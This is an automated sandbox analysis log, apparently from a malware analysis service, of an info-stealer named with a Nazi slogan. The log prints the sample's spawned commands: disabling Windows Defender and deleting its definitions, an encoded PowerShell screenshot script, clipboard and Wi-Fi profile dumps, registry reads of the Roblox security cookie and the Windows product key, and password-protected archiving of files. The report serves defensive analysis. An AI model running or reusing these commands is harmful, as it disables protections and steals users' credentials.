Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\HeilHitler.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: HeilHitler.exe, HeilHitler.exe, 00000001.00000002.2035903774.00007FFDFB2C1000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: HeilHitler.exe

ReversingLabs: Detection: 47%

Source: HeilHitler.exe	String found in binary or memory: set-addPolicy
Source: HeilHitler.exe	String found in binary or memory: id-cmc-addExtensions
Source: HeilHitler.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: HeilHitler.exe	String found in binary or memory: --help
Source: HeilHitler.exe	String found in binary or memory: --help

Source: C:\Users\user\Desktop\HeilHitler.exe

File read: C:\Users\user\Desktop\HeilHitler.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\HeilHitler.exe "C:\Users\user\Desktop\HeilHitler.exe"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Users\user\Desktop\HeilHitler.exe "C:\Users\user\Desktop\HeilHitler.exe"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D0C.tmp" "c:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP"
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Users\user\Desktop\HeilHitler.exe "C:\Users\user\Desktop\HeilHitler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
